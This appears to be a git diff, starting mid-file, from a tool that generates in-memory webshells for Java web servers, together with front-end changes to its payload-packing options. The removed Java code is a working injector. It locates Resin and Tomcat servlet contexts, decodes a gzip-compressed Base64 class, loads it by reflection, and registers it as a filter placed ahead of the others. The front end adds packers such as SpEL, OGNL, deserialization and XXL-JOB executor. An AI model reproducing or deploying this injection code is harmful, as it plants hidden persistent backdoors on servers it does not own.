"getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - - for (Object o : new ArrayList(listeners)) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - - return false; - } - - public List getContext() { - List contexts = new ArrayList(); - Set visited = new HashSet(); - - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - if (thread.getClass().getName().contains("Resin")) { - Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null && visited.add(webApp)) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - // Handle exception - } - return contexts; - - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - filter = classLoader.loadClass(this.getClassName()); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - - return filter; - } - - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - String filterClassName = this.getClassName(); - - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception var10) { - } - - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception var9) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } - } catch (Exception var12) { - } - - } - @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + BufferedReader reader = req.getReader(); + System.out.println(reader.getClass().getName()); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - } - - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } + BufferedReader reader = req.getReader(); + System.out.println(reader.getClass().getName()); } } diff --git a/web/bun.lockb b/web/bun.lockb index 79dccd11..024eb02c 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index db82c4ad..da7d8562 100644 --- a/web/package.json +++ b/web/package.json @@ -13,7 +13,7 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.97.3", + "@tanstack/router-plugin": "^1.97.8", "@types/node": "^22.10.7", "@types/react": "^19.0.7", "@types/react-dom": "^19.0.3", @@ -24,7 +24,7 @@ "postcss": "^8.5.1", "tailwindcss": "^3.4.17", "typescript": "^5.7.3", - "vite": "^6.0.7" + "vite": "^6.0.11" }, "dependencies": { "@hookform/resolvers": "^3.10.0", @@ -40,8 +40,8 @@ "@radix-ui/react-tabs": "^1.1.2", "@radix-ui/react-tooltip": "^1.1.6", "@tanstack/react-query": "^5.64.2", - "@tanstack/react-router": "^1.97.3", - "@tanstack/router-devtools": "^1.97.3", + "@tanstack/react-router": "^1.97.8", + "@tanstack/router-devtools": "^1.97.8", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "i18next": "^24.2.1", diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index fe691e0a..c364275c 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -60,6 +60,16 @@ export function MainConfigCard({ } else { setShellTypes([]); } + + if ( + (value === "SpringWebFlux" || value === "XXLJOB") && + Number.parseInt(form.getValues("targetJdkVersion") as string) < 52 + ) { + form.setValue("targetJdkVersion", "52"); + } else { + form.resetField("targetJdkVersion"); + } + form.resetField("bypassJavaModule"); form.resetField("shellTool"); form.resetField("shellType"); } diff --git a/web/src/components/package-config-card.tsx b/web/src/components/package-config-card.tsx index 9358f370..bb689769 100644 --- a/web/src/components/package-config-card.tsx +++ b/web/src/components/package-config-card.tsx @@ -23,6 +23,7 @@ export function PackageConfigCard({ const [options, setOptions] = useState>([]); const shellType = form.watch("shellType"); + const server = form.watch("server"); const { t } = useTranslation(); useEffect(() => { @@ -33,7 +34,10 @@ export function PackageConfigCard({ if (shellType.startsWith("Agent")) { return name.startsWith("Agent"); } - return !name.startsWith("Agent"); + if (server.startsWith("XXL")) { + return !name.startsWith("Agent"); + } + return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); }); setOptions( filteredOptions.map((name) => { @@ -46,7 +50,7 @@ export function PackageConfigCard({ if (filteredOptions.length > 0) { form.setValue("packingMethod", filteredOptions[0]); } - }, [form, packerConfig, shellType, t]); + }, [form, packerConfig, server, shellType, t]); return ( diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index 226e7240..3aacc678 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -78,6 +78,26 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener ); } +function JarResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) { + const { t } = useTranslation(); + return ( +
+ +
+ ); +} + function FeedbackAlert() { const { t } = useTranslation(); return ( @@ -206,6 +226,7 @@ export function ShellResult({ }: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); + const isJar = packMethod === "Jar"; const { t } = useTranslation(); return ( @@ -220,16 +241,20 @@ export function ShellResult({
- {!isAgent && ( - + {!isAgent && !isJar && ( + +
({packResult.length})
+ +
)} {isAgent && } + {isJar && } diff --git a/web/src/i18n/translations.ts b/web/src/i18n/translations.ts index 182d1f4b..c69c5e68 100644 --- a/web/src/i18n/translations.ts +++ b/web/src/i18n/translations.ts @@ -46,9 +46,10 @@ export const resources = { title: "Package Method", packer: { Base64: "Base64", + GzipBase64: "GzipBase64", BCEL: "BCEL", JSP: "JSP", - JAR: "JAR", + Jar: "Jar", EL: "EL", SpEL: "SpEL", OGNL: "OGNL", @@ -59,6 +60,8 @@ export const resources = { AgentJar: "AgentJar", Deserialize: "Deserialize(Only CB4, 1.9.x)", ScriptEngine: "ScriptEngine", + XxlJob: "XXL-JOB Executor", + XxlJob230: "XXL-JOB (2.3.0+) Executor", }, }, tips: { @@ -154,18 +157,10 @@ export const resources = { packageConfig: { title: "打包方式", packer: { - Base64: "Base64", - BCEL: "BCEL", - JSP: "JSP", - JAR: "JAR", EL: "EL 表达式", SpEL: "SpEL 表达式", OGNL: "OGNL 表达式", MVEL: "MVEL 表达式", - Freemarker: "Freemarker", - Velocity: "Velocity", - Groovy: "Groovy", - AgentJar: "AgentJar", Deserialize: "反序列化(仅支持 CB4, 1.9.x)", ScriptEngine: "脚本引擎", },